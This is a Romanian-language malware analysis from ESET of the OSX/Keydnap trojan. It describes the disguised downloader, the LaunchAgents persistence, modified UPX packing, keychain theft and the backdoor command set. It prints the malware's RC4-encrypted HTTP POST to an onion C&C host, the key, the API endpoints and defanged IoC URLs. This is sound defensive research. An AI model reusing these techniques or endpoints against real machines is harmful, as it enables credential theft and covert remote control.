ESET analizează diferite mostre de malware ce vizează OS X în fiecare zi. Aceste mostre sunt de obicei aplicații potențial nedorite care injectează reclame în afișajul browser-ului în timp ce victima navighează pe internet.
În ultimele săptămâni, am investigat un caz interesant, unde scopul malware-ului este de a fura conținutul keychain și să mențină un backdoor permanent. Acest articol va descrie componentele acestei amenințări și ceea ce știm despre el până acum.
Vectorul de infecție
Nu este încă clar modul în care victimele sunt inițial expuse la OSX / Keydnap. Ar putea fi prin atașamente din mesaje spam, descărcări de pe site-uri ce nu sunt de încredere sau altceva.
Ceea ce știm este că o componentă downloader este distribuită într-un fișier .zip. Fișierul de arhivă conține un fișier executabil Mach-O cu o extensie care arată inofensivă, cum ar fi .txt sau .jpg. Cu toate acestea, extensia de fișier conține un caracter spațiu la sfârșit, ceea ce înseamnă că atunci când faceți dublu-clic pe fișierul din Finder acesta va lansa în Terminal și nu în Preview sau TextEdit.
Figura 1: Fereastra Finder ce include fișierele malițioase ZIP și “.jpg”
Figura 2: Fereastra de informații a fișierului downloader
ZIP-ul conține, de asemenea Resource furk care include pictograma fișierului executabil. Imită pictograma Finder care de obicei se aplică la JPEG sau la fișiere text pentru a crește probabilitatea ca destinatarul să dea dubluclic pe fișier. Odată lansat, o fereastră de Terminal se deschide, iar sarcina utilă malițioasă este executată.
[video width="600" height="400" m4v="http://blog.eset.ro/wp-content/uploads/2016/07/3.m4v" autoplay="true"][/video]
Figura 3: Captură ecran a downloader-ului executat pe OS X El Capitan. Observați cum apare pictograma Terminal pentru o fracțiune de secundă înainte de a fi deschid Preview.
OSX / Keydnap downloader
Downloader-ul este un executabil nesemnat Mach-O. Astfel, în cazul în care fișierul este descărcat de pe un browser de internet, iar Gatekeeper-ul este activat pe aparat – implicit în versiunile recente ale OS X și MACOS – acesta nu va executa și nu va afișa un avertisment pentru utilizator.
Figura 4: Mesajul afișat dacă fișierul ZIP este descărcat de la Safari
Downloader-ul Keydnap este simplu. Acesta va:
- Descărca și executa componenta backdoor
- Înlocui conținutul downloader-ul executabil Mach-O cu o momeală, fie folosind un fișier încorporat codificat Base64, fie prin descărcare de pe internet
- Deschide un document momeală (descris mai târziu)
- Închide fereastra Terminal care tocmai s-a deschis
Documentul de ademenire înlocuiește fișierul downloader Mach-O, ceea ce înseamnă că executabil rău intenționat este prezent numai în fișierul ZIP acum. Downloader-ul nu este persistent. Cu toate acestea, backdoor-ul descărcat va adăuga o intrare în directorul LaunchAgents și va supraviețui procesului de repornire. Acesta este descris mai detaliat în secțiunea backdoor.
Noi am găsit mai multe variante ale executabilului care aparține downloader-ului . O listă de mostre diferite pot fi găsite la sfârșitul articolului.
În mod interesant, am observat mostre recente înglobate în documente momeală care sunt capturi de ecran ale meniului botnet C&C sau dump-uri ale credențialelor cardurilor de credit. Acest lucru sugerează că Keydnap ar putea viza utilizatorii de pe forumuri mai ascunse sau poate chiar și cercetători de securitate. De asemenea, este inclus în variantele recente "un nume de versiune". Am văzut trei nume diferite: elitef*ck, ccshop și transmission.
Figura 5: Exemplu de imagine momeală (1)
Figura 5: Exemplu de imagine momeală (2)
Figura 5: Exemplu de imagine momeală (3)
OSX / Keydnap backdoor
Toate mostrele de backdoor pe care le-am văzut au numele fișierului icloudsyncd. Malware-ul are un șir de caractere care este raportat la serverul de C & C. Până în prezent, am văzut două versiuni: prima în luna mai 2016 1.3.1, și versiunea 1.3.5 în luna iunie.
Disimulare
În timp ce modulul downloader nu este împachetat, backdoor-ul este dotat cu o versiune modificată a UPX. Două modificări sunt făcute pentru UPX versiunea 3.91:
- Magic bytes UPX! în antetul UPX sunt înlocuite cu ASS7,
- Secțiunile de cod decomprimate și șirurile de caractere sunt XORed cu 0x01. În timpul auto-decomprimării, XOR este aplicat după decompresie și înainte de a apela funcția principală a binarului original.
Figura 6: Diferența dintre un pachet de fișier de stoc UPX și cel modificat
Un patch pentru UPX este disponibil în depozitul de cercetare malware ESET Github, care permite despachetarea backdoor-ului Keydnap cu ajutorul obișnuitului upx -d.
Persistenţă
Odată ce a început, backdoor-ul Keydnap instalează un fișier plist în / Library / LaunchAgents / în cazul în care are privilegii de root sau $USER/Library/LaunchAgents/, pentru a realiza persistența la reboot-uri. Directorul Library/Application Support/com.apple.iCloud.sync.daemon este folosit pentru a păstra icloudsyncd executabil. Acest director va conține, de asemenea, procesul de identificare al malware-ului care rulează în process.id și un " nume construit " (după cum este numit de autor) în build.id. Cu privilegiile de administrator, se va schimba, de asemenea, proprietarul icloudsyncd la root:admin și va face setuid și setgid executabile, ceea ce înseamnă că va rula întotdeauna ca root în viitor.
Figura 7: Lista proprietăților fișierului în directorul LaunchAgents
Pentru a camufla locația fișierului rău intenționat, Keydnap înlocuiește argv [0] cu / usr / libexec / iCloud sincronizare -launchd netlogon.bundle. Aici este un exemplu al rezultatului ps ax pe un sistem infectat:
$ ps ax [...] 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle [...]
Figura 8: Rezultatele ps ax pe un sistem infectat
Furtul keychain
OSX / Keydnap backdoor-ul este echipat cu un mecanism pentru a aduna și extrage parolele și cheile stocate în Keychain OS X. Autorul a luat pur și simplu un exemplu proof-of-concept disponibil pe Github numit Keychaindump. Citește memoria și căutările securityd pentru cheia de decriptare pentru Keychain-ul utilizatorului. Acest proces este descris într-o lucrare de K. Lee și H. Koo. Unul dintre motivele pentru care credem că sursa a fost luată direct din Github este acela că numele funcției din codul sursă este același în malware-ul Keydnap.
Figura 9: Lista funcțiilor Keydnap backdoor. În zona verde sunt funcțiile de la Keychaindump
Comunicarea C&C
Keydnap utilizează proxy-ul onion.to Tor2Web peste HTTPS pentru a raporta înapoi la serverul său C & C. Am observat două adrese tip onion utilizate în probe diferite:
- g5wcesdfjzne7255.onion (Nu mai există)
- r2elajikcosf7zee.onion (Existentă la momentul scrierii articolului)
Resursa HTTP începe întotdeauna cu / api / OSX / și conține acțiuni, cum ar fi:
- / Api / OSX / started raportarea bot-ului tocmai ce a început
- / Api / OSX / keychain pentru a extrage conținutul keychain
- / Api / OSX / get_task? Bot_id = {botid} & version = {version} pentru a solicita o sarcină (descrisă mai jos)
- / Api / OSX / cmd_executed pentru a raporta o ieșire a unei comenzi, care a fost executată
- / Api / OSX / task_complete? Bot_id = {botid} & task_id = {taskid} pentru a raporta că o sarcină a fost finalizată
Conținutul HTTP POST are două câmpuri: bot_id și data. Câmpul de date este criptat cu cheia RC4 "u2RLhh +! LGd9p8! ZtuKcN", fara ghilimele. Când este extras keychain-ul, câmpul keychain este folosit în loc de date.
POST /api/osx/started HTTP/1.1 Host: r2elajikcosf7zee.onion.to Accept: */*Content-Length: 233 Content-Type: application/x-www-form-urlencoded bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D
Figura 10: Malware-ul trimite informațiile inițiale
> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN") device_model=MacBookPro9,2 bot_version=1.3.5 build_name=elitef*ck os_version=15.5.0 ip_address=4.5.6.7 has_root=0
Figura 11: Datele decodate trimise către C&C
Bot_id este construit prin hashing-ul următoarelor valori cu SHA-256:
- UUID hardware (IOPlatformUUID)
- Numărul seriei de sistem (IOPlatformSerialNumber)
- Identificatorul de model Mac (ex. : MacBookPro9,2)
Cele mai multe acțiuni sunt auto-explicative. Comanda începută va trimite următoarele informații la C&C:
- device_model: identificatorul de model (ex. : MacBookPro9,2)
- bot_version: versiune de Keydnap
- build_name: "Numele construit", care a fost dat de downloader
- os_version: OS X sau MacOS versiune kernel
- ip_address: adresa IP externă raportată de ipify.org
- has_root: 1 în cazul în care execută ca root, 0 în caz contrar
Comenzi backdoor
Răspunsul la get_task conține un număr întreg pentru a identifica tipul de comandă și argumentele opționale. Funcția numită get_and_execute_tasks se ocupă de 10 tipuri diferite de comandă.
Command ID | Description |
---|---|
0 | Uninstall Keydnap and quit |
1 | Update the backdoor from a base64-encoded file |
2 | Update the backdoor given a URL |
3 | Decode and execute a base64-encoded file |
4 | Decode and execute a base64-encoded Python script |
5 | Download and execute a file from a URL |
6 | Download and execute a Python script from a URL |
7 | Execute a command and report the output back to the C&C server |
8 | Request administrator privileges the next time the user runs an application |
9 | Decode and execute, or stop, a base64-encoded file calledauthd_service |
Ultimele două comenzi ies în evidență. Comanda cu ID-ul 8 trebuie să fie trimisă în timp ce Keydnap-ul nu rulează ca root deja. Atunci când sunt emise, backdoor-ul va începe monitorizarea procesului în numele utilizatorului. Atunci când două noi procese sunt create în termen de două secunde, Keydnap va da naștere unei ferestre care solicită acreditările utilizatorului, exact ca cel al OS X pe care utilizatorii sunt obișnuiți să-l vadă, atunci când o aplicație necesită privilegii de administrator. În cazul în care victima este păcălită și introduce acreditările, backdoor-ul va rula de acum înainte ca root și conținutul keychain victimei va fi extras.
Figura 12: Efectuarea verificării numărului de proces
Figura 13: icloudsyncd solicitând privilegii
Noi nu știm ce este executabilul authd_service ID-ul gestionat de comandă 9, pentru că nu l-am văzut folosit. Ar putea fi o a treia etapă malware lansabilă cu țintă spre câteva puncte specifice de interes.
Concluzie
Există câteva piese lipsă la acest puzzle. Nu știm în acest moment modul în care este distribuit Keydnap. Nici nu știm câte victime există.
Cu toate că există mai multe mecanisme de securitate implementate în OS X pentru a adresa codurile malware, este posibil ca utilizatorii să fie induși în eroare codului rău intenționat pentru a executa codul malițios în afara sandbox-ului, prin înlocuirea pictogramei unui fișier Mach-O.
IoCs
Mostre
Downloader
Toate downloader-ele enumerate mai jos sunt detectate ca OSX / TrojanDownloader.Keydnap.A de produsele ESET.
SHA-1 | Filename | First seen on VirusTotal | Backdoor download URL | Decoy description or URL |
---|---|---|---|---|
07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 | "info_list.txt " | 2016-05-09 | hxxp://dev.aneros.com/media/icloudsyncd | "Most Common Interview Questions" |
78ba1152ef3883e63f10c3a85cbf00f2bb305a6a | "screenshot_2016-06-28-01.jpg " | 2016-06-28 | hxxp://freesafesoft.com/icloudsyncd | BlackHat-TDS Panel screenshot |
773a82343367b3d09965f6f09cc9887e7f8f01bf | "screenshot.jpg " | 2016-05-07 | hxxp://dev.aneros.com/media/icloudsyncd | Firefox 20 about screenshot |
dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c | "CVdetails.doc " | 2016-05-03 | hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd | hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc |
2739170ed195ff1b9f00c44502a21b5613d08a58 | "CVdetails.doc " | 2016-05-03 | hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd | hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc |
e9d4523d9116b3190f2068b1be10229e96f21729 | "logo.jpg " | 2016-06-02 | hxxp://dev.aneros.com/media/icloudsyncd | sanelite logo |
7472102922f91a78268430510eced1059eef1770 | "screenshot_9324 2.jpg " | 2016-06-28 | hxxp://freesafesoft.com/icloudsyncd | Some C&C panel |
Backdoor
SHA-1 | ESET Detection name | C&C | Version |
a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b | OSX/Keydnap.A | hxxps://g5wcesdfjzne7255.onion.to | 1.3.1 |
abf99129e0682d2fa40c30a1a1ad9e0c701e14a4 | OSX/Keydnap.A | hxxps://r2elajikcosf7zee.onion.to | 1.3.5 |
Backdoor-ul serverelor C&C
- hxxps://g5wcesdfjzne7255.onion.to/
- hxxps://r2elajikcosf7zee.onion.to/
IoCs-urile Kidnap sunt de asemenea disponibile și actualizate în depozitul malware-ioc Github, dezvoltat de ESET,
MARC-ETIENNE M.LÉVEILLÉ
CORESPONDENT INDEPENDENT
Lasa un comentariu